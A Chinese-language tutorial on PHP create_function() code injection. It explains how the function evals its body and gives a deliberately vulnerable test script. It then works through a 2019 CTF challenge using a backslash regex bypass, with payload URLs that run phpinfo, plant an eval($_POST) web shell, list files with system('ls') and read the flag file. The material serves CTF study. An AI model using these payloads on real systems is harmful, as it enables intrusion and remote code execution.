create_function代码注入
string create_function(string $args , string $code)
$args 变量部分
$code 方法代码部分
返回值:
以字符串形式返回唯一的函数名,如果出现错误,则返回false。
在PHP中使用create_function()创建匿名函数,seay大牛的解释
- 获取参数, 函数体;
- 拼凑一个“function __lambda_func (参数) { 函数体;} ”的字符串;
- eval;
- 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
- 定义一个函数名:“\000_lambda_” . count(anonymous_functions)++;
- 用新的函数名替换__lambda_func;
- 返回新的函数。
例:
create_function('$name','echo $name."alex"')
等同与创建了一个函数:
function fT($fname) {
echo $fname."alex";
}
并返回这个函数名。
测试代码:
<?php
$id=$_GET['id'];
$str2='echo $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>
环境:php5.2或5.3或5.4+apache或Nginx
playload:http://localhost/1.php?id=;}phpinfo();/*
注入原理:
原函数:
function fT($a){
echo $a."test".$id;
}
代码注入后:
function fT($a){
echo $a."test";}phpinfo();/*;
}
例题
2019掘安杯题:
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;
根据create_function()代码注入,需要绕过对$action参数的正则过滤,在数字字母下划线都被禁用的情况下调用函数,思路是想办法在开头或结尾插入字符绕过正则.
通过测试会发现在函数开头加上字符\可以绕过,也就是%5C,原因涉及到了php的全局命名空间,\create_function就是调用全局的create_function函数.
手册:
注意php版本。。。(入坑者的提醒)
执行phpinfo()
playload:http://120.79.1.69:10006/?action=\create_function&arg=){};phpinfo();/*
){}应该是闭合create_function的 。
然后传马,或者直接看flag;
http://120.79.1.69:10006/?action=\create_function&arg=){};eval($_POST[%27a%27]);/*
但有的时候马连不上。。。。
看文件夹下的内容
http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(scandir(%22./%22));/
或
http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(system(%22ls%22));/
看flag
http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(file(%22./Th1s_1S_F1a9_Hav3_Fun%22));/
或
http://120.79.1.69:10006/?action=\create_function&arg=){};var_dump(system(%22cat%20./Th1s_1S_F1a9_Hav3_Fun%22));/